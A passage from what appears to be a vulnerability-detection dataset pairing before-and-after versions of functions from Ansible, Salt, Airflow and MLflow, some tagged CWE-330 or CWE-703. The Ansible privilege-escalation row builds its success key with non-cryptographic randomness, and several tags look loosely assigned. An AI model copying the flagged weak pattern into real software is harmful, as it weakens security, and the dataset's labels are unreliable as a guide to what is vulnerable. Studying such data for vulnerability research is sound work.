                    b_SU_PROMPT_LOCALIZATIONS_RE = re.compile(b_password_string, flags=re.IGNORECASE)
                    return bool(b_SU_PROMPT_LOCALIZATIONS_RE.match(b_data))
                prompt = detect_su_prompt

                becomecmd = '%s %s %s -c %s' % (exe, flags, self.become_user, shlex_quote(command))

            elif self.become_method == 'pbrun':

                prompt = 'Password:'
                becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, success_cmd)

            elif self.become_method == 'ksu':
                def detect_ksu_prompt(b_data):
                    return re.match(b""Kerberos password for .*@.*:"", b_data)

                prompt = detect_ksu_prompt
                becomecmd = '%s %s %s -e %s' % (exe, self.become_user, flags, command)

            elif self.become_method == 'pfexec':

                # No user as it uses it's own exec_attr to figure it out
                becomecmd = '%s %s ""%s""' % (exe, flags, success_cmd)

            elif self.become_method == 'runas':
                # become is handled inside the WinRM connection plugin
                if not self.become_user:
                    raise AnsibleError((""The 'runas' become method requires a username ""
                                        ""(specify with the '--become-user' CLI arg, the 'become_user' keyword, or the 'ansible_become_user' variable)""))
                becomecmd = cmd

            elif self.become_method == 'doas':

                prompt = 'doas (%s@' % self.remote_user
                exe = self.become_exe or 'doas'

                if not self.become_pass:
                    flags += ' -n '

                if self.become_user:
                    flags += ' -u %s ' % self.become_user

                # FIXME: make shell independent
                becomecmd = '%s %s echo %s && %s %s env ANSIBLE=true %s' % (exe, flags, success_key, exe, flags, cmd)

            elif self.become_method == 'dzdo':

                exe = self.become_exe or 'dzdo'
                if self.become_pass:
                    prompt = '[dzdo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s -p %s -u %s %s' % (exe, shlex_quote(prompt), self.become_user, command)
                else:
                    becomecmd = '%s -u %s %s' % (exe, self.become_user, command)

            elif self.become_method == 'pmrun':

                exe = self.become_exe or 'pmrun'

                prompt = 'Enter UPM user password:'
                becomecmd = '%s %s %s' % (exe, flags, shlex_quote(command))

            else:
                raise AnsibleError(""Privilege escalation method not found: %s"" % self.become_method)

            if self.become_pass:
                self.prompt = prompt
            self.success_key = success_key
            return becomecmd

        return cmd",CWE-330,ansible/ansible,e45c763b646e0609fb9c8d8b8cdf9c200985c313,"def make_become_cmd(self, cmd, executable=None):
        """""" helper function to create privilege escalation commands """"""

        prompt = None
        success_key = None
        self.prompt = None

        if self.become:

            if not executable:
                executable = self.executable

            becomecmd = None
            randbits = ''.join(random.choice(string.ascii_lowercase) for x in range(32))
            success_key = 'BECOME-SUCCESS-%s' % randbits
            success_cmd = shlex_quote('echo %s; %s' % (success_key, cmd))

            if executable:
                command = '%s -c %s' % (executable, success_cmd)
            else:
                command = success_cmd

            # set executable to use for the privilege escalation method, with various overrides
            exe = self.become_exe or getattr(self, '%s_exe' % self.become_method, self.become_method)

            # set flags to use for the privilege escalation method, with various overrides
            flags = self.become_flags or getattr(self, '%s_flags' % self.become_method, '')

            if self.become_method == 'sudo':
                # If we have a password, we run sudo with a randomly-generated
                # prompt set using -p. Otherwise we run it with default -n, which makes
                # it fail if it would have prompted for a password.
                # Cannot rely on -n as it can be removed from defaults, which should be
                # done for older versions of sudo that do not support the option.
                #
                # Passing a quoted compound command to sudo (or sudo -s)
                # directly doesn't work, so we shellquote it with shlex_quote()
                # and pass the quoted string to the user's shell.

                # force quick error if password is required but not supplied, should prevent sudo hangs.
                if self.become_pass:
                    prompt = '[sudo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s %s -p ""%s"" -u %s %s' % (exe, flags.replace('-n', ''), prompt, self.become_user, command)
                else:
                    becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, command)

            elif self.become_method == 'su':

                # passing code ref to examine prompt as simple string comparisson isn't good enough with su
                def detect_su_prompt(b_data):
                    b_password_string = b""|"".join([b'(\w+\'s )?' + x for x in b_SU_PROMPT_LOCALIZATIONS])
                    # Colon or unicode fullwidth colon
                    b_password_string = b_password_string + to_bytes(u' ?(:|：) ?')
                    b_SU_PROMPT_LOCALIZATIONS_RE = re.compile(b_password_string, flags=re.IGNORECASE)
                    return bool(b_SU_PROMPT_LOCALIZATIONS_RE.match(b_data))
                prompt = detect_su_prompt

                becomecmd = '%s %s %s -c %s' % (exe, flags, self.become_user, shlex_quote(command))

            elif self.become_method == 'pbrun':

                prompt = 'Password:'
                becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, success_cmd)

            elif self.become_method == 'ksu':
                def detect_ksu_prompt(b_data):
                    return re.match(b""Kerberos password for .*@.*:"", b_data)

                prompt = detect_ksu_prompt
                becomecmd = '%s %s %s -e %s' % (exe, self.become_user, flags, command)

            elif self.become_method == 'pfexec':

                # No user as it uses it's own exec_attr to figure it out
                becomecmd = '%s %s ""%s""' % (exe, flags, success_cmd)

            elif self.become_method == 'runas':
                # become is handled inside the WinRM connection plugin
                if not self.become_user:
                    raise AnsibleError((""The 'runas' become method requires a username ""
                                        ""(specify with the '--become-user' CLI arg, the 'become_user' keyword, or the 'ansible_become_user' variable)""))
                becomecmd = cmd

            elif self.become_method == 'doas':

                prompt = 'doas (%s@' % self.remote_user
                exe = self.become_exe or 'doas'

                if not self.become_pass:
                    flags += ' -n '

                if self.become_user:
                    flags += ' -u %s ' % self.become_user

                # FIXME: make shell independent
                becomecmd = '%s %s echo %s && %s %s env ANSIBLE=true %s' % (exe, flags, success_key, exe, flags, cmd)

            elif self.become_method == 'dzdo':

                exe = self.become_exe or 'dzdo'
                if self.become_pass:
                    prompt = '[dzdo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s -p %s -u %s %s' % (exe, shlex_quote(prompt), self.become_user, command)
                else:
                    becomecmd = '%s -u %s %s' % (exe, self.become_user, command)

            elif self.become_method == 'pmrun':

                exe = self.become_exe or 'pmrun'

                prompt = 'Enter UPM user password:'
                becomecmd = '%s %s %s' % (exe, flags, shlex_quote(command))

            else:
                raise AnsibleError(""Privilege escalation method not found: %s"" % self.become_method)

            if self.become_pass:
                self.prompt = prompt
            self.success_key = success_key
            return becomecmd

        return cmd"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/template/__init__.py,0,"def __repr__(self):
        return 'AnsibleUndefined'",,ansible/ansible,0c32a4f7931262d48b3f4e85f2448c30dd317dae,"def __repr__(self):
        return 'AnsibleUndefined'"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/operators/test_tasks.py,1,"def test_delete_queue(self, mock_hook):
        mock_hook.return_value.delete_queue.return_value = None
        operator = CloudTasksQueueDeleteOperator(location=LOCATION, queue_name=QUEUE_ID, task_id=""id"")

        operator.execute(context=None)

        mock_hook.assert_called_once_with(
            gcp_conn_id=GCP_CONN_ID,
            impersonation_chain=None,
        )
        mock_hook.return_value.delete_queue.assert_called_once_with(
            location=LOCATION,
            queue_name=QUEUE_ID,
            project_id=None,
            retry=None,
            timeout=None,
            metadata=None,
        )",CWE-703,apache/airflow,37681bca0081dd228ac4047c17631867bba7a66f,"def test_delete_queue(self, mock_hook):
        mock_hook.return_value.delete_queue.return_value = None
        operator = CloudTasksQueueDeleteOperator(location=LOCATION, queue_name=QUEUE_ID, task_id=""id"")

        result = operator.execute(context=None)

        assert result is None
        mock_hook.assert_called_once_with(
            gcp_conn_id=GCP_CONN_ID,
            impersonation_chain=None,
        )
        mock_hook.return_value.delete_queue.assert_called_once_with(
            location=LOCATION,
            queue_name=QUEUE_ID,
            project_id=None,
            retry=None,
            timeout=None,
            metadata=None,
        )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/grains.py,0,"def get(key, default='', delimiter=DEFAULT_TARGET_DELIM):
    '''
    Attempt to retrieve the named value from grains, if the named value is not
    available return the passed default. The default return is an empty string.

    The value can also represent a value in a nested dict using a "":"" delimiter
    for the dict. This means that if a dict in grains looks like this::

        {'pkg': {'apache': 'httpd'}}

    To retrieve the value associated with the apache key in the pkg dict this
    key can be passed::

        pkg:apache


    :param delimiter:
        Specify an alternate delimiter to use when traversing a nested dict

        .. versionadded:: 2014.7.0

    CLI Example:

    .. code-block:: bash

        salt '*' grains.get pkg:apache
    '''
    return salt.utils.traverse_dict_and_list(__grains__,
                                             key,
                                             default,
                                             delimiter)",,saltstack/salt,d40ce3826e2a2f130f856335b50348601791d804,"def get(key, default='', delimiter=DEFAULT_TARGET_DELIM):
    '''
    Attempt to retrieve the named value from grains, if the named value is not
    available return the passed default. The default return is an empty string.

    The value can also represent a value in a nested dict using a "":"" delimiter
    for the dict. This means that if a dict in grains looks like this::

        {'pkg': {'apache': 'httpd'}}

    To retrieve the value associated with the apache key in the pkg dict this
    key can be passed::

        pkg:apache


    delimiter
        Specify an alternate delimiter to use when traversing a nested dict

        .. versionadded:: 2014.7.0

    CLI Example:

    .. code-block:: bash

        salt '*' grains.get pkg:apache
    '''
    return salt.utils.traverse_dict_and_list(__grains__,
                                             key,
                                             default,
                                             delimiter)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/lxc.py,0,"def _network_conf(conf_tuples=None, **kwargs):
    '''
    Network configuration defaults

        network_profile
            as for containers, we can either call this function
            either with a network_profile dict or network profile name
            in the kwargs
        nic_opts
            overrides or extra nics in the form {nic_name: {set: tings}

    '''
    nic = kwargs.get('network_profile', None)
    ret = []
    nic_opts = kwargs.get('nic_opts', {})
    if nic_opts is None:
        # coming from elsewhere
        nic_opts = {}
    if not conf_tuples:
        conf_tuples = []
    old = _get_veths(conf_tuples)
    if not old:
        old = {}

    # if we have a profile name, get the profile and load the network settings
    # this will obviously by default  look for a profile called ""eth0""
    # or by what is defined in nic_opts
    # and complete each nic settings by sane defaults
    if nic and isinstance(nic, (six.string_types, dict)):
        nicp = get_network_profile(nic)
    else:
        nicp = {}
    if DEFAULT_NIC not in nicp:
        nicp[DEFAULT_NIC] = {}

    kwargs = copy.deepcopy(kwargs)
    gateway = kwargs.pop('gateway', None)
    bridge = kwargs.get('bridge', None)
    if nic_opts:
        for dev, args in six.iteritems(nic_opts):
            ethx = nicp.setdefault(dev, {})
            try:
                ethx = salt.utils.dictupdate.update(ethx, args)
            except AttributeError:
                raise SaltInvocationError('Invalid nic_opts configuration')
    ifs = [a for a in nicp]
    ifs += [a for a in old if a not in nicp]
    ifs.sort()
    gateway_set = False
    for dev in ifs:
        args = nicp.get(dev, {})
        opts = nic_opts.get(dev, {}) if nic_opts else {}
        old_if = old.get(dev, {})
        disable = opts.get('disable', args.get('disable', False))
        if disable:
            continue
        mac = opts.get('mac',
                       opts.get('hwaddr',
                                args.get('mac',
                                         args.get('hwaddr', ''))))
        type_ = opts.get('type', args.get('type', ''))
        flags = opts.get('flags', args.get('flags', ''))
        link = opts.get('link', args.get('link', ''))
        ipv4 = opts.get('ipv4', args.get('ipv4', ''))
        ipv6 = opts.get('ipv6', args.get('ipv6', ''))
        infos = salt.utils.odict.OrderedDict([
            ('lxc.network.type', {
                'test': not type_,
                'value': type_,
                'old': old_if.get('lxc.network.type'),
                'default': 'veth'}),
            ('lxc.network.name', {
                'test': False,
                'value': dev,
                'old': dev,
                'default': dev}),
            ('lxc.network.flags', {
                'test': not flags,
                'value': flags,
                'old': old_if.get('lxc.network.flags'),
                'default': 'up'}),
            ('lxc.network.link', {
                'test': not link,
                'value': link,
                'old': old_if.get('lxc.network.link'),
                'default': search_lxc_bridge()}),
            ('lxc.network.hwaddr', {
                'test': not mac,
                'value': mac,
                'old': old_if.get('lxc.network.hwaddr'),
                'default': salt.utils.gen_mac()}),
            ('lxc.network.ipv4', {
                'test': not ipv4,
                'value': ipv4,
                'old': old_if.get('lxc.network.ipv4', ''),
                'default': None}),
            ('lxc.network.ipv6', {
                'test': not ipv6,
                'value': ipv6,
                'old': old_if.get('lxc.network.ipv6', ''),
                'default': None})])
        # for each parameter, if not explicitly set, the
        # config value present in the LXC configuration should
        # take precedence over the profile configuration
        for info in list(infos.keys()):
            bundle = infos[info]
            if bundle['test']:
                if bundle['old']:
                    bundle['value'] = bundle['old']
                elif bundle['default']:
                    bundle['value'] = bundle['default']
        for info, data in infos.items():
            if data['value']:
                ret.append({info: data['value']})
        for key, val in six.iteritems(args):
            if key == 'link' and bridge:
                val = bridge
            val = opts.get(key, val)
            if key in [
                'type', 'flags', 'name',
                'gateway', 'mac', 'link', 'ipv4', 'ipv6'
            ]:
                continue
            ret.append({'lxc.network.{0}'.format(key): val})
        # gateway (in automode) must be appended following network conf !
        if not gateway:
            gateway = args.get('gateway', None)
        if gateway is not None and not gateway_set:
            ret.append({'lxc.network.ipv4.gateway': gateway})
            # only one network gateway ;)
            gateway_set = True
    # normally, this wont happen
    # set the gateway if specified even if we did
    # not managed the network underlying
    if gateway is not None and not gateway_set:
        ret.append({'lxc.network.ipv4.gateway': gateway})
        # only one network gateway ;)
        gateway_set = True

    new = _get_veths(ret)
    # verify that we did not loose the mac settings
    for iface in [a for a in new]:
        ndata = new[iface]
        nmac = ndata.get('lxc.network.hwaddr', '')
        ntype = ndata.get('lxc.network.type', '')
        omac, otype = '', ''
        if iface in old:
            odata = old[iface]
            omac = odata.get('lxc.network.hwaddr', '')
            otype = odata.get('lxc.network.type', '')
        # default for network type is setted here
        # attention not to change the network type
        # without a good and explicit reason to.
        if otype and not ntype:
            ntype = otype
        if not ntype:
            ntype = 'veth'
        new[iface]['lxc.network.type'] = ntype
        if omac and not nmac:
            new[iface]['lxc.network.hwaddr'] = omac

    ret = []
    for val in new.values():
        for row in val:
            ret.append(salt.utils.odict.OrderedDict([(row, val[row])]))
    # on old versions of lxc, still support the gateway auto mode
    # if we didnt explicitly say no to
    # (lxc.network.ipv4.gateway: auto)
    if (
        distutils.version.LooseVersion(version()) <= '1.0.7' and
        True not in ['lxc.network.ipv4.gateway' in a for a in ret]
    ):
        ret.append({'lxc.network.ipv4.gateway': 'auto'})
    return ret",,saltstack/salt,323c3ab53c4ee3a4a01684a6bff98050109f5419,"def _network_conf(conf_tuples=None, **kwargs):
    '''
    Network configuration defaults

        network_profile
            as for containers, we can either call this function
            either with a network_profile dict or network profile name
            in the kwargs
        nic_opts
            overrides or extra nics in the form {nic_name: {set: tings}

    '''
    nic = kwargs.get('network_profile', None)
    ret = []
    nic_opts = kwargs.get('nic_opts', {})
    if nic_opts is None:
        # coming from elsewhere
        nic_opts = {}
    if not conf_tuples:
        conf_tuples = []
    old = _get_veths(conf_tuples)
    if not old:
        old = {}

    # if we have a profile name, get the profile and load the network settings
    # this will obviously by default  look for a profile called ""eth0""
    # or by what is defined in nic_opts
    # and complete each nic settings by sane defaults
    if nic and isinstance(nic, (six.string_types, dict)):
        nicp = get_network_profile(nic)
    else:
        nicp = {}
    if DEFAULT_NIC not in nicp:
        nicp[DEFAULT_NIC] = {}

    kwargs = copy.deepcopy(kwargs)
    gateway = kwargs.pop('gateway', None)
    bridge = kwargs.get('bridge', None)
    if nic_opts:
        for dev, args in six.iteritems(nic_opts):
            ethx = nicp.setdefault(dev, {})
            try:
                ethx = salt.utils.dictupdate.update(ethx, args)
            except AttributeError:
                raise SaltInvocationError('Invalid nic_opts configuration')
    ifs = [a for a in nicp]
    ifs += [a for a in old if a not in nicp]
    ifs.sort()
    gateway_set = False
    for dev in ifs:
        args = nicp.get(dev, {})
        opts = nic_opts.get(dev, {}) if nic_opts else {}
        old_if = old.get(dev, {})
        disable = opts.get('disable', args.get('disable', False))
        if disable:
            continue
        mac = opts.get('mac',
                       opts.get('hwaddr',
                                args.get('mac',
                                         args.get('hwaddr', ''))))
        type_ = opts.get('type', args.get('type', ''))
        flags = opts.get('flags', args.get('flags', ''))
        link = opts.get('link', args.get('link', ''))
        ipv4 = opts.get('ipv4', args.get('ipv4', ''))
        ipv6 = opts.get('ipv6', args.get('ipv6', ''))
        infos = salt.utils.odict.OrderedDict([
            ('lxc.network.type', {
                'test': not type_,
                'value': type_,
                'old': old_if.get('lxc.network.type'),
                'default': 'veth'}),
            ('lxc.network.name', {
                'test': False,
                'value': dev,
                'old': dev,
                'default': dev}),
            ('lxc.network.flags', {
                'test': not flags,
                'value': flags,
                'old': old_if.get('lxc.network.flags'),
                'default': 'up'}),
            ('lxc.network.link', {
                'test': not link,
                'value': link,
                'old': old_if.get('lxc.network.link'),
                'default': search_lxc_bridge()}),
            ('lxc.network.hwaddr', {
                'test': not mac,
                'value': mac,
                'old': old_if.get('lxc.network.hwaddr'),
                'default': salt.utils.gen_mac()}),
            ('lxc.network.ipv4', {
                'test': not ipv4,
                'value': ipv4,
                'old': old_if.get('lxc.network.ipv4', ''),
                'default': None}),
            ('lxc.network.ipv6', {
                'test': not ipv6,
                'value': ipv6,
                'old': old_if.get('lxc.network.ipv6', ''),
                'default': None})])
        # for each parameter, if not explicitly set, the
        # config value present in the LXC configuration should
        # take precedence over the profile configuration
        for info in list(infos.keys()):
            bundle = infos[info]
            if bundle['test']:
                if bundle['old']:
                    bundle['value'] = bundle['old']
                elif bundle['default']:
                    bundle['value'] = bundle['default']
        for info, data in infos.items():
            if data['value']:
                ret.append({info: data['value']})
        for key, val in six.iteritems(args):
            if key == 'link' and bridge:
                val = bridge
            val = opts.get(key, val)
            if key in [
                'type', 'flags', 'name',
                'gateway', 'mac', 'link', 'ipv4', 'ipv6'
            ]:
                continue
            ret.append({'lxc.network.{0}'.format(key): val})
        # gateway (in automode) must be appended following network conf !
        if not gateway:
            gateway = args.get('gateway', None)
        if gateway is not None and not gateway_set:
            ret.append({'lxc.network.ipv4.gateway': gateway})
            # only one network gateway ;)
            gateway_set = True
    # normally, this wont happen
    # set the gateway if specified even if we did
    # not managed the network underlying
    if gateway is not None and not gateway_set:
        ret.append({'lxc.network.ipv4.gateway': gateway})
        # only one network gateway ;)
        gateway_set = True

    new = _get_veths(ret)
    # verify that we did not loose the mac settings
    for iface in [a for a in new]:
        ndata = new[iface]
        nmac = ndata.get('lxc.network.hwaddr', '')
        ntype = ndata.get('lxc.network.type', '')
        omac, otype = '', ''
        if iface in old:
            odata = old[iface]
            omac = odata.get('lxc.network.hwaddr', '')
            otype = odata.get('lxc.network.type', '')
        # default for network type is setted here
        # attention not to change the network type
        # without a good and explicit reason to.
        if otype and not ntype:
            ntype = otype
        if not ntype:
            ntype = 'veth'
        new[iface]['lxc.network.type'] = ntype
        if omac and not nmac:
            new[iface]['lxc.network.hwaddr'] = omac

    ret = []
    for val in new.values():
        for row in val:
            ret.append(salt.utils.odict.OrderedDict([(row, val[row])]))
    # on old versions of lxc, still support the gateway auto mode
    # if we didnt explicitly say no to
    # (lxc.network.ipv4.gateway: auto)
    if (
        distutils.version.LooseVersion(version()) <= '1.0.7' and
        True not in ['ipv4.gateway' in a for a in ret]
    ):
        ret.append({'lxc.network.ipv4.gateway': 'auto'})
    return ret"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/logadm.py,0,"def _arg2opt(arg):
    '''
    Turn a pass argument into the correct option
    '''
    res = [o for o, a in option_toggles.items() if a == arg]
    res += [o for o, a in option_flags.items() if a == arg]
    return res[0] if res else None",,saltstack/salt,d31ec218146e1c891d8b5dcbbc03b3595e47522d,"def _arg2opt(arg):
    '''
    Turn a pass argument into the correct option
    '''
    res = [o for o, a in option_toggles.items() if a == arg]
    res += [o for o, a in option_flags.items() if a == arg]
    return res[0] if len(res) else None"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/runner/lib/sanity/import.py,0,"def test(self, args, targets, python_version):
        """"""
        :type args: SanityConfig
        :type targets: SanityTargets
        :type python_version: str
        :rtype: TestResult
        """"""
        with open('test/sanity/import/skip.txt', 'r') as skip_fd:
            skip_paths = skip_fd.read().splitlines()

        skip_paths_set = set(skip_paths)

        paths = sorted(
            i.path
            for i in targets.include
            if os.path.splitext(i.path)[1] == '.py' and
            (i.path.startswith('lib/ansible/modules/') or i.path.startswith('lib/ansible/module_utils/')) and
            i.path not in skip_paths_set
        )

        if not paths:
            return SanitySkipped(self.name, python_version=python_version)

        env = ansible_environment(args, color=False)

        # create a clean virtual environment to minimize the available imports beyond the python standard library
        virtual_environment_path = os.path.abspath('test/runner/.tox/minimal-py%s' % python_version.replace('.', ''))
        virtual_environment_bin = os.path.join(virtual_environment_path, 'bin')

        remove_tree(virtual_environment_path)

        python = find_python(python_version)

        cmd = [python, '-m', 'virtualenv', virtual_environment_path, '--python', python, '--no-setuptools', '--no-wheel']

        if not args.coverage:
            cmd.append('--no-pip')

        run_command(args, cmd, capture=True)

        # add the importer to our virtual environment so it can be accessed through the coverage injector
        importer_path = os.path.join(virtual_environment_bin, 'importer.py')
        if not args.explain:
            os.symlink(os.path.abspath('test/sanity/import/importer.py'), importer_path)

        # activate the virtual environment
        env['PATH'] = '%s:%s' % (virtual_environment_bin, env['PATH'])
        env['PYTHONPATH'] = os.path.abspath('test/sanity/import/lib')

        # make sure coverage is available in the virtual environment if needed
        if args.coverage:
            run_command(args, generate_pip_install(['pip'], 'sanity.import', packages=['setuptools']), env=env)
            run_command(args, generate_pip_install(['pip'], 'sanity.import', packages=['coverage']), env=env)
            run_command(args, ['pip', 'uninstall', '--disable-pip-version-check', '-y', 'setuptools'], env=env)
            run_command(args, ['pip', 'uninstall', '--disable-pip-version-check', '-y', 'pip'], env=env)

        cmd = ['importer.py']

        data = '\n'.join(paths)

        display.info(data, verbosity=4)

        results = []

        try:
            stdout, stderr = intercept_command(args, cmd, data=data, target_name=self.name, env=env, capture=True, python_version=python_version,
                                               path=env['PATH'])

            if stdout or stderr:
                raise SubprocessError(cmd, stdout=stdout, stderr=stderr)
        except SubprocessError as ex:
            if ex.status != 10 or ex.stderr or not ex.stdout:
                raise

            pattern = r'^(?P<path>[^:]*):(?P<line>[0-9]+):(?P<column>[0-9]+): (?P<message>.*)$'

            results = [re.search(pattern, line).groupdict() for line in ex.stdout.splitlines()]

            results = [SanityMessage(
                message=r['message'],
                path=r['path'],
                line=int(r['line']),
                column=int(r['column']),
            ) for r in results]

            results = [result for result in results if result.path not in skip_paths]

        if results:
            return SanityFailure(self.name, messages=results, python_version=python_version)

        return SanitySuccess(self.name, python_version=python_version)",,ansible/ansible,0c3faa2e1c666d018427fb9e1a9d558ed32f3b52,"def test(self, args, targets, python_version):
        """"""
        :type args: SanityConfig
        :type targets: SanityTargets
        :type python_version: str
        :rtype: TestResult
        """"""
        with open('test/sanity/import/skip.txt', 'r') as skip_fd:
            skip_paths = skip_fd.read().splitlines()

        skip_paths_set = set(skip_paths)

        paths = sorted(
            i.path
            for i in targets.include
            if os.path.splitext(i.path)[1] == '.py' and
            (i.path.startswith('lib/ansible/modules/') or i.path.startswith('lib/ansible/module_utils/')) and
            i.path not in skip_paths_set
        )

        if not paths:
            return SanitySkipped(self.name, python_version=python_version)

        env = ansible_environment(args, color=False)

        # create a clean virtual environment to minimize the available imports beyond the python standard library
        virtual_environment_path = os.path.abspath('test/runner/.tox/minimal-py%s' % python_version.replace('.', ''))
        virtual_environment_bin = os.path.join(virtual_environment_path, 'bin')

        remove_tree(virtual_environment_path)

        cmd = ['virtualenv', virtual_environment_path, '--python', find_python(python_version), '--no-setuptools', '--no-wheel']

        if not args.coverage:
            cmd.append('--no-pip')

        run_command(args, cmd, capture=True)

        # add the importer to our virtual environment so it can be accessed through the coverage injector
        importer_path = os.path.join(virtual_environment_bin, 'importer.py')
        if not args.explain:
            os.symlink(os.path.abspath('test/sanity/import/importer.py'), importer_path)

        # activate the virtual environment
        env['PATH'] = '%s:%s' % (virtual_environment_bin, env['PATH'])
        env['PYTHONPATH'] = os.path.abspath('test/sanity/import/lib')

        # make sure coverage is available in the virtual environment if needed
        if args.coverage:
            run_command(args, generate_pip_install(['pip'], 'sanity.import', packages=['setuptools']), env=env)
            run_command(args, generate_pip_install(['pip'], 'sanity.import', packages=['coverage']), env=env)
            run_command(args, ['pip', 'uninstall', '--disable-pip-version-check', '-y', 'setuptools'], env=env)
            run_command(args, ['pip', 'uninstall', '--disable-pip-version-check', '-y', 'pip'], env=env)

        cmd = ['importer.py']

        data = '\n'.join(paths)

        display.info(data, verbosity=4)

        results = []

        try:
            stdout, stderr = intercept_command(args, cmd, data=data, target_name=self.name, env=env, capture=True, python_version=python_version,
                                               path=env['PATH'])

            if stdout or stderr:
                raise SubprocessError(cmd, stdout=stdout, stderr=stderr)
        except SubprocessError as ex:
            if ex.status != 10 or ex.stderr or not ex.stdout:
                raise

            pattern = r'^(?P<path>[^:]*):(?P<line>[0-9]+):(?P<column>[0-9]+): (?P<message>.*)$'

            results = [re.search(pattern, line).groupdict() for line in ex.stdout.splitlines()]

            results = [SanityMessage(
                message=r['message'],
                path=r['path'],
                line=int(r['line']),
                column=int(r['column']),
            ) for r in results]

            results = [result for result in results if result.path not in skip_paths]

        if results:
            return SanityFailure(self.name, messages=results, python_version=python_version)

        return SanitySuccess(self.name, python_version=python_version)"
,UNKNOWN,UNKNOWN,tests/transformers/test_transformers_model_export.py,1,"def test_text2text_generation_pipeline_with_model_config_and_params(
    text2text_generation_pipeline, model_path
):
    data = ""muppet keyboard type""
    model_config = {
        ""top_k"": 2,
        ""num_beams"": 5,
        ""top_p"": 0.85,
        ""repetition_penalty"": 1.15,
        ""do_sample"": True,
    }
    parameters = {""top_k"": 3, ""max_new_tokens"": 30}
    generated_output = mlflow.transformers.generate_signature_output(
        text2text_generation_pipeline, data
    )
    signature = infer_signature(
        data,
        generated_output,
        parameters,
    )

    mlflow.transformers.save_model(
        text2text_generation_pipeline,
        path=model_path,
        model_config=model_config,
        signature=signature,
    )
    pyfunc_loaded = mlflow.pyfunc.load_model(model_path)

    # model_config and default params are all applied
    res = pyfunc_loaded.predict(data)
    applied_params = model_config.copy()
    applied_params.update(parameters)
    res2 = pyfunc_loaded.predict(data, applied_params)
    assert res == res2

    assert res != pyfunc_loaded.predict(data, {""max_new_tokens"": 3})

    # Extra params are ignored
    assert res == pyfunc_loaded.predict(data, {""extra_param"": ""extra_value""})",CWE-703,mlflow/mlflow,b36878e7140b7618585782463009a2eb6851a1be,"def test_text2text_generation_pipeline_with_model_config_and_params(
    text2text_generation_pipeline, model_path
):
    data = ""muppet keyboard type""
    model_config = {
        ""top_k"": 2,
        ""num_beams"": 5,
        ""top_p"": 0.85,
        ""repetition_penalty"": 1.15,
        ""do_sample"": True,
    }
    parameters = {""top_k"": 3, ""max_length"": 30}
    generated_output = mlflow.transformers.generate_signature_output(
        text2text_generation_pipeline, data
    )
    signature = infer_signature(
        data,
        generated_output,
        parameters,
    )

    mlflow.transformers.save_model(
        text2text_generation_pipeline,
        path=model_path,
        model_config=model_config,
        signature=signature,
    )
    pyfunc_loaded = mlflow.pyfunc.load_model(model_path)

    # model_config and default params are all applied
    res = pyfunc_loaded.predict(data)
    applied_params = model_config.copy()
    applied_params.update(parameters)
    res2 = pyfunc_loaded.predict(data, applied_params)
    assert res == res2

    assert res != pyfunc_loaded.predict(data, {""max_length"": 10})

    # Extra params are ignored
    assert res == pyfunc_loaded.predict(data, {""extra_param"": ""extra_value""})"
,UNKNOWN,UNKNOWN,test/units/module_utils/basic/test_deprecate_warn.py,1,"def test_deprecate(am, capfd):
    am.deprecate('deprecation1')
    am.deprecate('deprecation2', '2.3')
    am.deprecate('deprecation3', '2.5', collection_name='foo.bar')  # Ansible 2.10 compatibility
    am.deprecate('deprecation4', date='2020-01-01')  # Ansible 2.10 compatibility
    am.deprecate('deprecation5', date='2020-01-01', collection_name='foo.bar')  # Ansible 2.10 compatibility

    with pytest.raises(SystemExit):
        am.exit_json(deprecations=['deprecation6', ('deprecation7', '2.4')])

    out, err = capfd.readouterr()
    output = json.loads(out)
    assert ('warnings' not in output or output['warnings'] == [])
    assert output['deprecations'] == [
        {u'msg': u'deprecation1', u'version': None},
        {u'msg': u'deprecation2', u'version': '2.3'},
        {u'msg': u'deprecation3', u'version': '2.5'},
        {u'msg': u'deprecation4', u'version': None},
        {u'msg': u'deprecation5', u'version': None},
        {u'msg': u'deprecation6', u'version': None},
        {u'msg': u'deprecation7', u'version': '2.4'},
    ]",CWE-703,ansible/ansible,cf244c094a4b6ccec54c0ee496ab727a6e90687d,"def test_deprecate(am, capfd):
    am.deprecate('deprecation1')
    am.deprecate('deprecation2', '2.3')

    with pytest.raises(SystemExit):
        am.exit_json(deprecations=['deprecation3', ('deprecation4', '2.4')])

    out, err = capfd.readouterr()
    output = json.loads(out)
    assert ('warnings' not in output or output['warnings'] == [])
    assert output['deprecations'] == [
        {u'msg': u'deprecation1', u'version': None},
        {u'msg': u'deprecation2', u'version': '2.3'},
        {u'msg': u'deprecation3', u'version': None},
        {u'msg': u'deprecation4', u'version': '2.4'},
    ]"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_scoring_server.py,1,"def test_parse_with_schema(pandas_df_with_all_types):
    schema = Schema([ColSpec(c, c) for c in pandas_df_with_all_types.columns])
    df = _shuffle_pdf(pandas_df_with_all_types)
    json_str = json.dumps(df.to_dict(orient=""split""), cls=NumpyEncoder)
    df = pyfunc_scoring_server.parse_json_input(json_str, orient=""split"", schema=schema)
    json_str = json.dumps(df.to_dict(orient=""records""), cls=NumpyEncoder)
    df = pyfunc_scoring_server.parse_json_input(json_str, orient=""records"", schema=schema)
    assert schema == infer_signature(df[schema.input_names()]).inputs

    # The current behavior with pandas json parse with type hints is weird. In some cases, the
    # types are forced ignoring overflow and loss of precision:

    bad_df = """"""{
      ""columns"":[""bad_integer"", ""bad_float"", ""bad_string"", ""bad_boolean""],
      ""data"":[
        [9007199254740991.0, 1.1,                1, 1.5],
        [9007199254740992.0, 9007199254740992.0, 2, 0],
        [9007199254740994.0, 3.3,                3, ""some arbitrary string""]
      ]
    }""""""
    schema = Schema(
        [
            ColSpec(""integer"", ""bad_integer""),
            ColSpec(""float"", ""bad_float""),
            ColSpec(""string"", ""bad_string""),
            ColSpec(""boolean"", ""bad_boolean""),
        ]
    )
